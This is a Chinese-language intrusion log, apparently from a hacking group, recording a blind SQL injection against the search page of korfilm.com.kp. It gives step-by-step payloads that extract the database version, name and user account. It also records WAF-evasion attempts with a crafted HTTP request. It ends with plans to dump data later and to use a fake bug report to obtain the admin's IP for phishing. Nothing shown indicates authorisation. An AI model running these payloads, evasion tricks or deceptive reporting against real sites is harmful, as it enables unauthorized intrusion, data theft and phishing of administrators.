朝鲜电影出口网域名:korfilm.com.kp
服务器系统:Cent OS
网站容器: Apache 2.2.15
数据库: MySQL 5.1.66
其他脚本: mod_wsgi/3.2 Python/2.6.6 mod_perl/2.0.4 Perl/v5.10.1
存在漏洞的页面:http://korfilm.com.kp/home/search.php
此处电影名称“제목”的title变量取值未做严格过滤,导致可以盲注出部分敏感内容。
测试语句,在搜索框输入下列语句并搜索:
- 1%’+and+1=1#
- %’+and+1=1#
- %’+and+1=2#
确认为盲注注入点,但是有通用防注入过滤。
首先猜数据库版本:
- %’and+left(version(),1)=5# 正确回显,数据库版本为5.x
- %’and+length(version())=6# 正确回显,数据库版本长度为6
- %’and+left(version(),3)=’5.1’#
- %’and+left(version(),4)=’5.1.’#
- %’and+left(version(),5)=’5.1.6’#
- %’and+left(version(),6)=’5.1.66’# 数据库版本为5.1.66
猜数据库名:
- %’and+length(database())=7# 数据库长度为7
- %’and+left(database(),1)=’k’#
- %’and+left(database(),3)=’kor’#
- %’and+left(database(),7)=’korfilm’# 数据库名为korfilm
猜数据库用户:
- %’and+length(user())=17# 数据库用户长度为17
- %’and+left(user(),1)=’k’#
- %’and+left(user(),2)=’kl’#
- %’and+left(user(),3)=’klt’#
- %’and+left(user(),4)=’kltu’#
- %’and+left(user(),5)=’kltus’#
- %’and+left(user(),6)=’kltuse’#
- %’and+left(user(),7)=’kltuser’#
- %’and+left(user(),17)=’kltuser@localhost’# 得到数据库账户
后面继续进行盲注发现部分关键字被通用防注入模板阻拦,测试已知关键字分别有:
select、union、update
这几个关键词不区分大小写,暂时还没想到绕过方法。以下是测试绕过方法记录:
1、POST转GET
- http://korfilm.com.kp/home/search.php?title=%25%27and+left(version(),1)=5%23
访问这个地址后发现title变量的input框取值确实变为GET,但是回显为错误。
据此猜测页面结构可能如下类似代码:
- <?php
- $title = $_POST[‘title’];
- Check SQL-Injection Function….
- $sql = “‘select * from xxx where tilte like ‘%$title%’”;
- SQL QUERY….
- ?>
- <body>
- <form>
- <input type=”text” name=”title” value=”<?=$_ REQUEST[‘title’];?>”>
- </form>
- </body>
这样最多可造成跨站,但是无法形成绕过通用防注入模板
2、大小写无效,注释符内反注释方式:
- %’and+left((/*!sElEcT*/1+limit+0,1),1)=1#
注释符内加叹号/*!*/后面不被注释,这样无法躲避php的关键词过滤,因此无效
3、注释符
从网上搜了下这套通用防注入模板,有说使用/**/就可以绕过的说法
- %’and+left((/**/sElEcT/**/1/**/limit+0,1),1)=1#
这样的语句直接封ip,说明“/**/”注释符被当做敏感词,直接被WAF封杀。
- %’and+left((/*인학*/sElEcT/*인학*/1+limit+0,1),1)=1#
注释符里加韩文,仍然无法绕过防注入。
4、在语句中插截断字符
修改POST的数据,抓包将POST语句前面加上截断变量“test=\00.&”,构造新包:
Accept: text/html, application/xhtml+xml, */*
Referer: http://korfilm.com.kp/home/search.php
Accept-Language: zh-CN
User-Agent: Googlebot
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: korfilm.com.kp
Content-Length: 164
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=bpmifph23mkk”’
test=\00.&title=%’and+left((selEc+1+limit+0,1),1)=1#&vyear=&vcolor=-1&vwidth=-1&srch=%EC%A2%85%ED%95%A9%EA%B2%80%EC%83%89&vvolume=&vtime=&vauthor=&vproduct=&vactor=
发现截断无效。在select中加插入16进制字符0x0d(换行符),发现语法错误,也是无法绕过。
5、过WAF防封ip
构造数据包,将HTTP头部添加X-Forwarded-For取值为127.0.0.1,将客户端ip设置为服务端本机,无效,同样被封ip
网站漏洞价值所在以及后续工作开展:
这个网站的漏洞价值目前并不高,唯一的价值就是让我们摸清管理员的代码习惯和技术水平,以及服务器中防注入和WAF的检测特征。网站中的“注册会员”部分尚处于建设阶段,依照程序设计人员现在水平,一定会出XSS、POST注入等脚本漏洞。长期关注可以尝试脱数据等。
另有方案是将漏洞上报给网站管理员,通过管理员的回信,得到管理员的ip,长期进行钓鱼,渗透等。
//Blackbap.org
Silic Network Security Solutions Co.